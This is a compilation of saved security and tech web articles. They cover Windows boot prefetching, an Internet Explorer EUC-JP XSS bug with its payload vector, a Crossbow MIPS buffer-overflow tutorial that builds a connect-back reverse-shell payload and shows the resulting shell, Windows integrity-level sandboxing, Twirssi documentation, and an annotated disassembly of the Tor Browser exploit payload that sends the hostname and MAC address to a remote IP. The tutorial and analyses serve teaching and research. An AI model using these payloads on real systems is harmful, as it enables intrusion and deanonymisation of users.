NT\CurrentVersion\Prefetcher\LastDiskLayoutTimeString**. Unfortunately, this
value doesn’t appear to be changed when you run the defrag command manually.

## ReadyBoot

According to the Windows Internals book, the logical prefetching described
above is used when the system has less than 512MB of memory. If the system has
700MB or more then an in-RAM cache is used to further optimize the boot
process \(it’s not clear from the book whether or not this ReadyBoot cache
completely replaces the logical prefetching approach or just builds on it, my
assumption is that both work together\). After each boot the system generates
a boot caching plan for the next boot using file trace information from up to
the **five previous boots** which contains details of which files were
accessed and where on the disk they were located. These traces are stored as
.fx files in the **C:\Windows\PreFetch\ReadyBoot** folder.

<img src='img/Temp2_9557.jpg' alt='ReadyBootFolder Windows 7 Self Optimizing
Boot Process' />

ReadyBoot Trace Folder

## Services

Under Windows 7, the service that handles ReadyBoot optimization is part of
the **Superfetch** service.

Under Windows Vista, ReadyBoot optimization was part of the **ReadyBoost**
service \(ironically, when Windows Vista came out the advice on “tweaking”
sites was to disable ReadyBoost if they weren’t going to use USB/ReadyBoost to
improve performance – errrm, no…\)

There are some semi-undocumented registry keys that control the prefetch and
superfetch operations, but in all but the most exeptional cases they should
not be touched. They are only documented on the Windows 7 embedded sites for
Disabling Superfetch and Disabling Prefetch. The default value for boot these
keys is **3** which enables both boot and appliction prefetching.

## An Example

So, does this prefetching and boot optimizing actually work? The following
table shows the boot times on an ancient Toshiba Tecra M5 \(circa 2004\)
through its first boot, the subsequent five boots and finally after the disk
is defragged with the boot optimization switch. The machine is using a vanilla
version of Windows 7 Ultimate SP1 x86 – no applications are installed. The
boot time is measured using the **bootDoneViaPostBoot** metric generated from
the Windows Performance Toolkit \(WPT\) \(The boot logging process is detailed
in this previous blog post\)

Boot Cycle| Boot Time \(bootDoneViaPostBoot\)| Boot Time Improvement  
---|---|---  
1 \(first boot after installation\)| 85 seconds| N/A  
2 \(first boot training\)| 73 seconds| 14% \(+14%\)  
3| 31 seconds| 63% \(+49%\)  
4| 31 seconds| 63% \(+0%\)  
5| 28 seconds| 67% \(+4%\)  
6 \(last boot training\)| 26 seconds| 69% \(+2%\)  
7 \(after boot optimizing defrag\)| 24 seconds| 72% \(+3%\)  
You can see the massive improvement that occurs in the first few boots and
then some smaller but significant gains in the later boots and the final
defrag optimization. This example used a vanilla machine with very few drivers
installed and no additional applications. The more drivers and software
installed the more files must be accessed during boot which means these
optimizations are likely to have an even more pronounced effect.

As this optimization is automatic it’s not something that most people will
need to worry about. But if you are building machine that you would like to
boot as quickly as possible from the moment it is deployed \(appliance PCs,
laptops, etc.\) then it may be worthwhile adding a “boot training” and defrag
task to your deployment processes.

If your enterprise needs help with anything mentioned in this blog post then
you can hire us for consulting work.

**Related posts:**

  * Windows Performance Toolkit: Simple Boot Logging Troubleshooting slow boots and logons are a common requ \[…\]...
  * Windows Performance Toolkit Installation The Windows Performance Toolkit \(WPT\) is a suite of too \[…\]...
  * MDT and ConfigMgr Build Drivers for Windows 7 When doing Windows 7 builds in either MDT 2010 or Confi \[…\]...
  * Welcome to the AutoIt Consulting Blog\! Welcome to the AutoIt Consulting Blog\! This blog will s \[…\]...
  * Create a Windows 7 BitLocker Partition in ConfigMgr In System Center Configuration Manager \(SCCM / ConfigMg \[…\]...

# InsertScript: UXSS – Internet Explorer EUC-JP Parsing Bug

**Created:**| _8/18/2013 8:59:48 AM_  
---|---  
**Updated:**| _8/18/2013 8:59:48 AM_  
**Author:**| __  
**Tags:**| _vulnerability windows environment bughunting_  
  

# **U** XSS – Internet Explorer EUC-JP Parsing Bug****

While I was using shazzer , one vector had a really weird result**.**  
  
The vector was: <img src=x \*chr\* **> **onerror=alert\(1\)>;  
  
The result said that in **Internet Explorer 10** , a certain character in the
**euc-jp charset** consumed the >, which lead to the execution of the onerror
event handler but viewing the test case resulted in no code execution**.**  
  
After retesting the vector, there were either no results or different
characters got detected, but still no test case worked**.**  
I assumed that shazzer worked correctly, but certain parameters were different
between show test case and the real fuzzing process**.**  
  
After creating a little fuzzing script, I finally found out that a certain
amount of characters have to be before the starter byte 0x8F**.** The document
has to look like this \(charset must be euc-jp\):  
  
**4094 Bytes + 0x8F + characters that “disappears”**.** \(4094+1 = 0xfff\)**  
After knowing how to trigger the bug, I found out that not only > gets
consumed, it seems like every char gets consumed**.** This is especially
usefully to consume the “**.**  
  
A vector could look like this: \[4076\*A\]<img src="x" alt="\[0x8F\]" test="
onerror=alert\(1\)//">  
Because the " will be consumed, the onerror event will execute**.**  
  
This parsing bug enables XSS on websites, which use the euc-jp charset, to
attack Internet Explorer users even when the site has no XSS
vulnerability**.**  
  
Reported: 27.5.2013  
Fixed: 14.8**.** 2013  
CVE-2013-3192

#### No comments**** :

#### Post a Comment****

****

# Etica Nicomana

**Created:**| _7/28/2009 3:48:52 PM_  
---|---  
**Updated:**| _7/28/2009 3:49:04 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit_  
  

## MARTES 28 DE JULIO DE 2009

### Exploiting the Heap Cache Allocator

<img src='img/Temp2_2762.jpg' />Finally, one of the most awaited paper of 2009
was finally released. John "hzon" McDonalds bring us a bunch of refreshing
techniques on one of the less inspected structures of the heap: The Heap Cache
Allocator.  
Although, he doesn't constrain just to the technique, but rather make a big
picture of how the heap works and the different ways to exploit it. A MUST
read.  
Rather than making a review, I just recommend you fully read it.  
  
http://blogs.iss.net/archive/RequiredReading.html  
  
The cool things about playing with big blocks, is that they are not used much
so you can force a nice predictable universe for exploitation.  
  
To celebrate the paper, we are releasing the files needed to inspect the HEAP
Cache on Immunity Debugger:  
http://immunityinc.com/downloads/ImmunityDebuggerUpdate.tgz  
  
  
<img src='img/Temp2_2763.jpg' />  
  
Cheers,  
Nico

# The Shadow File: Buffer Overflows with Crossbow Part 3

**Created:**| _4/2/2013 6:59:16 PM_  
---|---  
**Updated:**| _4/2/2013 6:59:16 PM_  
**Author:**| __  
**Tags:**| _Tutorials_  
  

# Buffer Overflows with Crossbow Part 3

This is the third part in a multi part tutorial on using the Crossbow exploit
development framework to build a buffer overflow exploit. Here are part 1  and
part 2 .  
  
In the last part, we had built an exploit buffer and added a ROP chain that
would flush the MIPS CPU cache, locate the stack \(which is randomized\), and
return into it. Now it's time to add a payload.  
  
Crossbow provides a few MIPS Linux payloads, and the one we'll use for this
buffer overflow is the connect-back payload, which will yield an interactive
shell.  
  
In order to create a payload object, you must pass the constructor a
ConnectbackHost object. The host object is created from the IP address and TCP
port you want your target to connect back to. The "port=" parameter is
optional and defaults to 8080.

[code]

    from crossbow.servers import ConnectbackHost
    
    connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
    
[/code]

Then you pass your host object to the constructor of the payload object:

[code]

    from crossbow.servers import ConnectbackHost
    from crossbow.payloads.mips.connectback_payload import ConnectbackPayload
    
    connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
    payload=ConnectbackPayload(connectback_host,LittleEndian)
    
[/code]

In addition to the host object, the payload constructor requires an endianness
parameter.  
  
From the payload object, you can create a string section to add to your list
of replacement sections that will be passed into the OverflowBuffer
constructor. Here's an example, trimmed for brevity:

[code]

    from crossbow.servers import ConnectbackHost
    from crossbow.payloads.mips.connectback_payload import ConnectbackPayload
    
    sections=[]
    
    #function_epilogue_rop
    section=SC.gadget_section(528,0x31b44,
                description="[$ra] function epilogue that sets up $s1-$s7")
    sections.append(section)
    
    #....Abbreviated...
    #....Construct ROP chain
    
    connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
    payload=ConnectbackPayload(connectback_host,LittleEndian)
    
    section=SC.string_section(700,payload.shellcode,
                description="connect-back payload")
    sections.append(section)
    buf=OverflowBuffer(LittleEndian,1300,sections)
    
[/code]

If you have a set of restricted bytes that you must avoid in your buffer
overflow, you may want to use an encoder. You also will want to use an encoder
if your connect-back address or port will contain nul bytes, such as
192.168.0.1. Crossbow provides an XOR encoder that will attempt to encode your
payload, sanitizing out your bad bytes.  
  
Below is the previous example, modified to encode the payload.

[code]

    from crossbow.servers import ConnectbackHost
    from crossbow.payloads.mips.connectback_payload import ConnectbackPayload
    
    sections=[]
    
    #function_epilogue_rop
    section=SC.gadget_section(528,0x31b44,
                description="[$ra] function epilogue that sets up $s1-$s7")
    sections.append(section)
    
    #....Abbreviated...
    #....Construct ROP chain
    
    connectback_host=ConnectbackHost("192.168.1.2") #default port is 8080
    payload=ConnectbackPayload(connectback_host,LittleEndian)
    
    #XOR encode the payload.
    encoded_payload=MipsXorEncoder(payload,LittleEndian,badchars=badchars)
    section=SC.string_section(700,encoded_payload.shellcode,
                description="encoded connect-back payload")
    sections.append(section)
    
    buf=OverflowBuffer(LittleEndian,1300,sections)
    
[/code]

There are some important things to note about the encoder. First, it only
encodes your payload. So if there are bad bytes in your ROP chain, there's
nothing the encoder can do about that. As I explained in the previous part, if
you attempt to create a replacement section with SectionCreator that would
have bad bytes, it'll let you know by raising an exception. So at least
there's that.  
  
Also, the XOR encoder scans its decoder stub, which, of course, has to stay
unencoded, for your bad bytes and will raise an exception if it fails that
test.  
  
Additionally, the XOR encoder takes an optional parameter, "key=", which needs
to be a 4-byte integer. If you provide this, the encoder will attempt to use
that key to encode your payload. If the key itself or the encoded payload
contains any of your bad bytes, an exception is raised. If you don't provide a
key, it generates one randomly. It will make a certain number of attempts\[1\]
to generate a key and encode your payload without bad bytes. If it exceeds the
maximum number of attempts without a successful encode, an exception is
raised. This brute-force method is kind of a pain because it means sometimes
the encode will be successful, other times it won't. It may fail once, then
succeed if you run it again. Boo. If you have just two or three bad bytes, the
encode will almost always succeed. The more you have the less likely it will
succeed. Anyway, the encoder logs the key that it used. If you find one that
works, then save it and pass it to the constructor from then on to make sure
your encode always works.  
  
At this point you should have a complete, working buffer overflow exploit that
will cause your target to connect back to the specified host and port. You can
accept the incoming connection with a traditional netcat listener:

[code]

    zach@endor:/Volumes/Users/share/code/crossbow (130) $ nc -l 8080
    /bin/sh -i
    
    
    BusyBox v1.7.2 (2011-09-14 10:39:57 CST) built-in shell (ash)
    Enter 'help' for a list of built-in commands.
    
    #
    
    # cat /proc/version
    
    Linux version 2.6.22 (peter@localhost.localdomain) (gcc version 4.2.3) #1 Wed Sep 14 10:38:51 CST 2011
    #
    
[/code]

In the next part, I'll show how to use one of the connect-back servers
provided by Crossbow in place of the netcat listener.  
  
  
\--------------------  
\[1\] I may make this tunable or self-tuning in the future. Not sure. Open to
ideas on this.

# MalwareTech: Usermode Sandboxing

**Created:**| _10/11/2014 2:37:30 PM_  
---|---  
**Updated:**| _10/11/2014 2:37:30 PM_  
**Author:**| __  
**Tags:**| _sandboxing_  
  

# Usermode Sandboxing

Similar to User Account Contorl \(UAC\), the Windows Integrity Mechanism
allows the system to restricted applications from accessing certain resources;
however, it's more defined than simply elevated/unelevated. There are 4 main
levels provided, which can be set by a parent process prior to execution.  
  
**System Integrity \(Mandatory Label\System Mandatory Level\)**  
This is the highest integrity level and is used by processes and services
running under the Local Service, Network Service, and System account. The
purpose of this level is to provide a security layer between Administrator and
System, even a process running as full Administrator cannot interact with with
System integrity level processes \(The only exception to this rule is if the
administrator account is granted SE\_DEBUG\_NAME privilege, then the process
can enables this privilege in its token to interact with processes across
integrity and user boundaries\).  
**High Integrity \(Mandatory Label\High Mandatory Level\)**  
The default integrity level assigned to processes running under the
Administrator account, if User Account Control is enabled this level will only
be given to elevated processes.  
  
**Medium Integrity \(Mandatory Label\Medium Mandatory Level\)**  
Given to processes running under a limited \(non-Administrator\) user account
or processes on an Administrator account with UAC enabled. Processes assigned
this integrity level can only modify HKEY\_CURRENT\_USER registry keys, files
in non protected folders, and processes with the same or lower integrity.  
  
**Low Integrity \(Mandatory Label\Low Mandatory Level\)**  
The lowest integrity level is not assigned to processes by default, it is
either assigned through inheritance \(given to processes created by other low
integrity processes\) or set by the parent process. A process running with low
integrity level can only create/modify keys under
HKEY\_CURRENT\_USER\Software\AppDataLow and write files to %USER
PROFILE%\AppData\LocalLow. It is practically impossible for a low integrity
process to make any changes to the system; However, it can still read most
data.  
  
The windows integrity mechanism has a strict set of rules which makes it a
nice system for process isolation \(when used properly\).

  * A process cannot change its own integrity level.
  * Once a process is running, the integrity level cannot be changed \(even by a higher integrity process\).
  * A process can create processes with the same \(or lower\) integrity level, but not higher.
  * Processes cannot modify/write processes/files with a higher integrity level.

There are a few \(fairly low risk\) exceptions to the above rules.

  * A high integrity process granted SE\_DEBUG\_NAME can modify processes of higher integrity level. 
  * A medium integrity process that is signed by Microsoft can elevate some COM objects from medium to high integrity \(this is what gets leveraged by the auto-elevated process UAC exploit\).
  * A process can request elevation from medium to high integrity, but only on execution \(spawns UAC prompt\). 

Communication between a low and higher integrity process \(IPC\) is possible
when explicitly enabled by the higher integrity process. Any of the following
methods can be used:

  * Shared Memory
  * Sockets
  * Windows Messages
  * Named Pipes

##  Usermode Sandboxing

In the past usermode sandboxes would inject a dll into sandboxed processes and
hook various functions within ntdll, although this was generally quite
effective, applications could escape the sandbox by reading ntdll from the
disk and using it to restore the hooks. Now usermode hooks are making a
comeback in sandboxing, but without the previous fallbacks.

<img src='img/Temp2_5142.png' />

Processes can be spawned as low integrity to preventthem making changes to the
system; However, in order for the sandboxed process to continue functioning
normally, it may need to make some \(limited\) changes to the system, this is
where the hooks come in.

The sandbox creates a broker process which runs with a normal integrity level,
this process then uses CreateProcessAsUser to spawn the target \(sandboxed\)
process at low integrity. Before the target process begins execution, the
sandbox dll is loaded and hooks ntdll so the hooks can be used to pass
information about any calls \(target function, parameter addresses, number of
parameters\) to the broker process via IPC. The broker process will read the
parameters from the sandboxed process and filter/process calls on its behalf.
Unlike with previous usermode sandboxes, removal of the hooks will result in
the process not being able to modify system resources as it requires the
broker process to do so on its behalf.

This type of sandboxing is already used by some applications \(Such as Chrome,
Internet Explorer, and Flash Player\) to reduce the attack surface for
exploits. Low integrity processes are used for processing and handling of
untrusted data such as javascript or flash \(As a result an exploit would
first have to exploit the low integrity process and then exploit the sandbox
process to gain full execution on the system\).

For malware sandboxing, things are a bit different: Because low integrity
processes can still manipulate other low integrity processes \(most browsers
run as low integrity\), sandboxed malware would still be able to inject into a
browser process and pass data back to a command and control server. Low
integrity processes are also not very restricted in terms of reading data and
could log documents and program data. To protect malware from injecting into
browsers or reading personal documents, it would be possible to run the
sandboxed and broker process under a different user account
\(CreateProcessAsUser\), aslLow and medium integrity processes cannot read
documents from other user's directories or interact with processes across user
boundaries; However, they could still read from Program Files and System32.

##  Conclusion

Although the Windows Integrity Mechanism is by no means perfect for malware
sandboxing, it is definitely a considerable alternative to maintaining complex
filter drivers and paying for code signing certificates. Windows 8 even
introduces a new features, AppContainer, which nicely complements the Windows
Integrity Mechanism by allowing processes to be restricting to only reading
and writing within their install folder. If Microsoft could just manage to
stop making Fisher Price user interfaces for one operating system, we may see
anti-malware sandboxes shifting to usermode as people move away from Windows
7.

# Twirssi: a twitter script for irssi

**Created:**| _4/17/2010 8:59:48 AM_  
---|---  
**Updated:**| _4/17/2010 9:00:03 AM_  
**Author:**| __  
**Tags:**| _Twitter commandline-kungfu_  
  

### Getting Started

  * Load the script in irssi: `/script load twirssi.pl`
  * Log in to twitter: `/twitter_login username password`. To use an account on identi.ca, just append @identica to the user name, and make sure `Net::Identica` is installed.
  * Post updates: `/tweet I got twirssi working!`
  * Every 5 minutes, new updates from twitter will be posted to the named window. To manually poll, you can always type `/twitter_updates`, though if you do it too often, twitter will block your access for a while

### Posting Commands

  * `/tweet <status>` \- Post a status update. Note, if http://twitter.com is too slow, twirssi will give up after the preset timeout. See the setting for twitter\_timeout.
  * `/tweet_as <account><status>` \- Post a status update as an alternate account
  * `/dm <username><message>` \- Send a direct message to username
  * `/dm_as <account><username><message>` \- Send a direct message to username from the specified account
  * `/twitter_reply <username>:<num>` \- Reply to a particular tweet. Only 100 are remembered for each user, and this can be completely disabled by changing the twirssi\_track\_replies variable.
  * `/twitter_reply_as <account><username>:<num>` \- Same as /twitter\_reply but allowing specifying an account to reply from.
  * `/reply <username>:<num>` \- Same as /twitter\_reply, but only if the twirssi\_use\_reply\_aliases is set to true \(off by default\).
  * `/reply_as <account><username>:<num>` \- Same as /twitter\_reply\_as, but only if the twirssi\_use\_reply\_aliases is set to true \(off by default\).
  * `/retweet <username>:<num> [comment]` \- Retweet someone else, with an optional comment. If no comment is provided, uses the native retweet command on twitter. If a comment is provided, a new tweet is posted.
  * `/retweet_as <account><username>:<num> [comment]` \- Retweet someone else, using an alternate account, with an optional comment.

### Other Commands

  * `/twitter_follow <username>` \- Start following username
  * `/twitter_add_follow_extra <username>` \- Show all the posts by username, even for people who you do not follow
  * `/twitter_del_follow_extra <username>` \- Stop showing all the posts by username
  * `/twitter_list_follow_extra` \- Show the list of all the usernames in the extra follow loop
  * `/twitter_list_subscriptions` \- List all the existing search subscriptions for all accounts.
  * `/twitter_login <username><password>` \- Log in to twitter
  * `/twitter_logout [<username>]` \- Log out the current account, or the named account
  * `/twitter_switch <username>` \- Start using the named account as the default
  * `/twitter_unfollow <username>` \- Stop following username
  * `/twitter_block <username>` \- Block username
  * `/twitter_unblock <username>` \- Unblock username
  * `/twitter_updates` \- Poll for updates manually
  * `/twitter_subscribe <keyword>` \- Add a search subscription for the current account.
  * `/twitter_unsubscribe <keyword>` \- Remove an existing search subscription from the current account.
  * `/twitter_device_updates <none|im|sms>` \- Set delivery device. Note that IM delivery is currently disabled by Twitter, and there are no timeline when it might be restored.
  * `/twirssi_version` \- Report the current version number
  * `/twirssi_upgrade` \- Check for a new version of twirssi, and download it if it's there

### Settings

These are set by the /set command - `/set bitlbee_server` will show the
current value, `/set bitlbee_server bitlbee_tag` will set it to `bitlbee_tag`.

  * `bitlbee_server` \- What is the server tag for bitlbee \(used for away messages\)
  * `short_url_provider` \- What service to use to shorten urls - pick from WWW::Shorten
  * `short_url_args` \- Some of the WWW::Shorten modules require additional arguments, such as a username or API key. Enter those here if needed, comma separated.
  * `twirssi_always_shorten` \- When false \(the default\), URLs will only be shortened if the tweet would be too long. When true, URLs will always be shortened
  * `show_own_tweets` \- Should our own tweets be displayed? Defaults to on.
  * `show_reply_context` \- When set to on, and someone you follow is replying to someone you are not, the tweet that generated the reply will be pulled and shown. Defaults to off.
  * `tweet_to_away` \- Set to on to post non-@reply updates as your away message
  * `tweet_window_input` \- Enable tweeting directly by writing to the twitter window. Off by default
  * `twirssi_retweet_format` \- The format to use when retweeting. Default value is "RT $n: "$t" $\{-- $c$\}". $n is the nick that's being retweeted; $t is the text of the original tweet; $c is the text of the optional comment attached; $\{ and $\} mark the seciton that should be omitted if no comment was provided.
  * `twirssi_hilights` \- Should messages containing your @nick be considered IRC hilights. \(default on\)
  * `twirssi_location` \- Location of the twirssi.pl script, used by `/twirssi_upgrade`
  * `twirssi_nick_color` \- If set, @nicks will be shown in the color set. \(default: %B\). Note that the theme variables \(twirssi\_tweet, twirssi\_search, twirssi\_reply, twirssi\_dm\) should be updated as well.
  * `twirssi_notify_timeouts` \- If set, twirssi will emite a message when twitter is being so slow that it fails to retrieve updates. \(default on\)
  * `twirssi_replies_autonick` \- On by default. If on, /reply will make sure the reply begins with @nick. If off, you can reply to someone, but not have their name on the reply
  * `twirssi_replies_store` \- Location where the /reply map is to be stored.
  * `twirssi_topic_color` \- If set, \#topics will be shown in the color set. \(default: %r\)
  * `twirssi_track_replies` \- Should twirssi keep track of individual IDs of incoming twitters? If enabled \(which is the default\) incoming tweets will show a :num appended to them. This is requried for /reply and /twitter\_reply functionallity.
  * `twirssi_use_reply_aliases` \- Enable /reply and /reply\_as as aliases to /twitter\_reply and /twitter\_reply\_as. Requires a reload of twirssi to take effect. \(default off\)
  * `twirssi_upgrade_beta` \- Default off. If on, /twirssi\_upgrade will try to grab the most recent version from github, instead of the latest released version. Note that beta versions might have more bugs than the released version.
  * `twirssi_avoid_ssl` \- Default off. If off, twirssi will attempt to use SSL for all network communications. Changes take effect next time twirssi is loaded.
  * `twitter_passwords` \- A comma separated list of passwords to auto-login
  * `twitter_poll_interval` \- How often should new messages be requested from twitter \(in seconds\). Default is every 5 minutes. Keep in mind that twitter will rate limit your user \(or IP\) if you hit them too often. Hardcoded minimum is one minute.
  * `twitter_friends_poll` \- How often should the updated friends list be retrieved from the server. By default, only once every 10 minutes
  * `twitter_timeout` \- How long should we wait before giving up on a twitter operation. Should help avoid irssi pinging out of IRC servers when twitter is slow.
  * `twitter_usernames` \- A comma separated list of usernames to auto-login. Note that the last one will be the default account used after startup.
  * `twitter_window` \- Which irssi window should twitter updates be sent to

# http://tsyrklevich.net/tbb\_payload.txt

**Created:**| _8/5/2013 7:50:38 AM_  
---|---  
**Updated:**| _8/5/2013 7:50:38 AM_  
**Author:**| __  
**Tags:**| _privacy_  
  

[code]

    This is an annotation and very brief analysis of the payload used by the Tor Browser Bundle exploit**.** Earlier I pasted a dump here: http://pastebin.com/AwnzEpmX
    
    Briefly, this payload connects to 65**.** 222**.** 202.54:80 and sends it an HTTP request that includes the host name (via gethostname()) and the MAC address of the local host (via calling SendARP on gethostbyname()->h_addr_list)**.** After that it cleans up the state and appears to deliberately crash**.**
    
    Because this payload does not download or execute any secondary backdoor or commands it's very likely that this is being operated by an LEA and not by blackhats**.**
    
    Vlad Tsyrklevich
    @vlad902
    
    A lightly annotated disassembly of the payload is included below:
    00000000  skipping 0x91 bytes
    00000091  5D                pop ebp
    00000092  81BDE90200004745  cmp dword [ebp+0x2e9],0x20544547 # "GET "
             -5420
    0000009C  7570              jnz 0x10e
    0000009E  8D85D1020000      lea eax,[ebp+0x2d1] "ws2_32"
    000000A4  50                push eax
    000000A5  684C772607        push dword 0x726774c # LoadLibraryA
    000000AA  FFD5              call ebp
    000000AC  85C0              test eax,eax
    000000AE  745E              jz 0x10e
    000000B0  8D85D8020000      lea eax,[ebp+0x2d8] "IPHLPAPI"
    000000B6  50                push eax
    000000B7  684C772607        push dword 0x726774c # LoadLibraryA
    000000BC  FFD5              call ebp # ebp = find function
    000000BE  85C0              test eax,eax
    000000C0  744C              jz 0x10e
    000000C2  BB90010000        mov ebx,0x190
    000000C7  29DC              sub esp,ebx
    000000C9  54                push esp
    000000CA  53                push ebx
    000000CB  6829806B00        push dword 0x6b8029 # WSAStartupA
    000000D0  FFD5              call ebp
    000000D2  01DC              add esp,ebx
    000000D4  85C0              test eax,eax
    000000D6  7536              jnz 0x10e
    000000D8  50                push eax
    000000D9  50                push eax
    000000DA  50                push eax
    000000DB  50                push eax
    000000DC  40                inc eax
    000000DD  50                push eax
    000000DE  40                inc eax
    000000DF  50                push eax
    000000E0  68EA0FDFE0        push dword 0xe0df0fea # WSASocketA
    000000E5  FFD5              call ebp
    000000E7  31DB              xor ebx,ebx
    000000E9  F7D3              not ebx
    000000EB  39C3              cmp ebx,eax
    000000ED  741F              jz 0x10e
    000000EF  89C3              mov ebx,eax
    000000F1  6A10              push byte +0x10
    000000F3  8DB5E1020000      lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65**.** 222.202.54 }
    000000F9  56                push esi
    000000FA  53                push ebx
    000000FB  6899A57461        push dword 0x6174a599 # connect
    00000100  FFD5              call ebp
    00000102  85C0              test eax,eax
    00000104  741F              jz 0x125
    00000106  FE8D89000000      dec byte [ebp+0x89] # Try to connect 5 times
    0000010C  75E3              jnz 0xf1
    0000010E  80BD4F02000001    cmp byte [ebp+0x24f],0x1
    00000115  7407              jz 0x11e
    00000117  E83B010000        call 0x257
    0000011C  EB05              jmp short 0x123
    0000011E  E84D010000        call 0x270
    00000123  FFE7              jmp edi
    00000125  B800010000        mov eax,0x100
    0000012A  29C4              sub esp,eax
    0000012C  89E2              mov edx,esp
    0000012E  52                push edx
    0000012F  50                push eax
    00000130  52                push edx
    00000131  68B649DE01        push dword 0x1de49b6 # gethostname
    00000136  FFD5              call ebp
    00000138  5F                pop edi
    00000139  81C400010000      add esp,0x100
    0000013F  85C0              test eax,eax
    00000141  0F85F2000000      jnz near 0x239
    00000147  57                push edi
    00000148  E8F9000000        call 0x246 # strlen of gethostname
    0000014D  5E                pop esi
    0000014E  89CA              mov edx,ecx
    00000150  8DBDE9020000      lea edi,[ebp+0x2e9]
    00000156  E8EB000000        call 0x246 # strlen (to move EDI to the NULL byte at the end of the HTTP string)
    0000015B  4F                dec edi
    0000015C  83FA20            cmp edx,byte +0x20
    0000015F  7C05              jl 0x166
    00000161  BA20000000        mov edx,0x20
    00000166  89D1              mov ecx,edx
    00000168  56                push esi
    00000169  F3A4              rep movsb
    0000016B  B90D000000        mov ecx,0xd
    00000170  8DB5C4020000      lea esi,[ebp+0x2c4] "\r\nCookie: ID="
    00000176  F3A4              rep movsb
    00000178  89BD4B020000      mov [ebp+0x24b],edi
    0000017E  5E                pop esi
    0000017F  56                push esi
    00000180  68A9283480        push dword 0x803428a9 # gethostbyname
    00000185  FFD5              call ebp
    00000187  85C0              test eax,eax
    00000189  0F84AA000000      jz near 0x239
    0000018F  668B480A          mov cx,[eax+0xa]
    00000193  6683F904          cmp cx,byte +0x4
    00000197  0F829C000000      jc near 0x239
    0000019D  8D400C            lea eax,[eax+0xc]
    000001A0  8B00              mov eax,[eax]
    000001A2  8B08              mov ecx,[eax]
    000001A4  8B09              mov ecx,[ecx]
    000001A6  B800010000        mov eax,0x100
    000001AB  50                push eax
    000001AC  89E7              mov edi,esp
    000001AE  29C4              sub esp,eax
    000001B0  89E6              mov esi,esp
    000001B2  57                push edi
    000001B3  56                push esi
    000001B4  51                push ecx
    000001B5  51                push ecx
    000001B6  684872D2B8        push dword 0xb8d27248 # iphlpapi.dll**!** SendARP
    000001BB  FFD5              call ebp
    000001BD  85C0              test eax,eax
    000001BF  81C404010000      add esp,0x104
    000001C5  0FB70F            movzx ecx,word [edi]
    000001C8  83F906            cmp ecx,byte +0x6
    000001CB  726C              jc 0x239
    000001CD  B906000000        mov ecx,0x6
    000001D2  B810000000        mov eax,0x10
    000001D7  29C4              sub esp,eax
    000001D9  89E7              mov edi,esp
    000001DB  89CA              mov edx,ecx
    000001DD  D1E2              shl edx,1
    000001DF  50                push eax
    000001E0  52                push edx
    000001E1  31D2              xor edx,edx
    000001E3  8A16              mov dl,[esi]
    000001E5  88D0              mov al,dl
    000001E7  24F0              and al,0xf0 # It actually turns the raw data into hex strings before appending it to the HTTP header
    000001E9  C0E804            shr al,0x4
    000001EC  3C09              cmp al,0x9
    000001EE  7704              ja 0x1f4
    000001F0  0430              add al,0x30
    000001F2  EB02              jmp short 0x1f6
    000001F4  0437              add al,0x37
    000001F6  8807              mov [edi],al
    000001F8  47                inc edi
    000001F9  88D0              mov al,dl
    000001FB  240F              and al,0xf
    000001FD  3C09              cmp al,0x9
    000001FF  7704              ja 0x205
    00000201  0430              add al,0x30
    00000203  EB02              jmp short 0x207
    00000205  0437              add al,0x37
    00000207  8807              mov [edi],al
    00000209  47                inc edi
    0000020A  46                inc esi
    0000020B  E2D4              loop 0x1e1
    0000020D  59                pop ecx
    0000020E  29CF              sub edi,ecx
    00000210  89FE              mov esi,edi
    00000212  58                pop eax
    00000213  01C4              add esp,eax
    00000215  8BBD4B020000      mov edi,[ebp+0x24b]
    0000021B  F3A4              rep movsb
    0000021D  C6854F02000001    mov byte [ebp+0x24f],0x1
    00000224  E82E000000        call 0x257 # Append "Connection: keep-alive\r\nAccept: */*\r\nAccept-Encoding: gzip\r\n\r\n" and return the new strlen(ebp + 0x2e9)
    00000229  31C0              xor eax,eax
    0000022B  50                push eax
    0000022C  51                push ecx
    0000022D  29CF              sub edi,ecx
    0000022F  4F                dec edi
    00000230  57                push edi
    00000231  53                push ebx
    00000232  68C2EB385F        push dword 0x5f38ebc2 # send
    00000237  FFD5              call ebp
    00000239  53                push ebx
    0000023A  68756E4D61        push dword 0x614d6e75 # closesocket
    0000023F  FFD5              call ebp
    00000241  E9C8FEFFFF        jmp 0x10e
    00000246  31C9              xor ecx,ecx
    00000248  F7D1              not ecx
    0000024A  31C0              xor eax,eax
    0000024C  F2AE              repne scasb
    0000024E  F7D1              not ecx
    00000250  49                dec ecx
    00000251  C3                ret
    00000252  0000              add [eax],al
    00000254  0000              add [eax],al
    00000256  008DBDE90200      add [ebp+0x2e9bd],cl
    0000025C  00E8              add al,ch
    0000025E  E4FF              in al,0xff
    00000260  FF                db 0xFF
    00000261  FF4FB9            dec dword [edi-0x47]
    00000264  4F                dec edi
    00000265  0000              add [eax],al
    00000267  008DB5750200      add [ebp+0x275b5],cl
    0000026D  00F3              add bl,dh
    0000026F  A4                movsb
    00000270  8DBDE9020000      lea edi,[ebp+0x2e9]
    00000276  E8CBFFFFFF        call 0x246
    0000027B  C3                ret
    0000027C  0D0A436F6E        or eax,0x6e6f430a
    00000281  6E                outsb
    00000282  656374696F        arpl [gs:ecx+ebp*2+0x6f],si
    00000287  6E                outsb
    00000288  3A20              cmp ah,[eax]
    0000028A  6B656570          imul esp,[ebp+0x65],byte +0x70
    0000028E  2D616C6976        sub eax,0x76696c61
    00000293  650D0A416363      gs or eax,0x6363410a
    00000299  657074            gs jo 0x310
    0000029C  3A20              cmp ah,[eax]
    0000029E  2A2F              sub ch,[edi]
    000002A0  2A0D0A416363      sub cl,[0x6363410a]
    000002A6  657074            gs jo 0x31d
    000002A9  2D456E636F        sub eax,0x6f636e45
    000002AE  64696E673A20677A  imul ebp,[fs:esi+0x67],dword 0x7a67203a
    000002B6  69700D0A0D0A00    imul esi,[eax+0xd],dword 0xa0d0a
    000002BD  83C70E            add edi,byte +0xe
    000002C0  31C9              xor ecx,ecx
    000002C2  F7D1              not ecx
    000002C4  31C0              xor eax,eax
    000002C6  F3AE              repe scasb
    000002C8  4F                dec edi
    000002C9  FFE7              jmp edi
    000002CB  0D0A436F6F        or eax,0x6f6f430a
    000002D0  6B69653A          imul ebp,[ecx+0x65],byte +0x3a
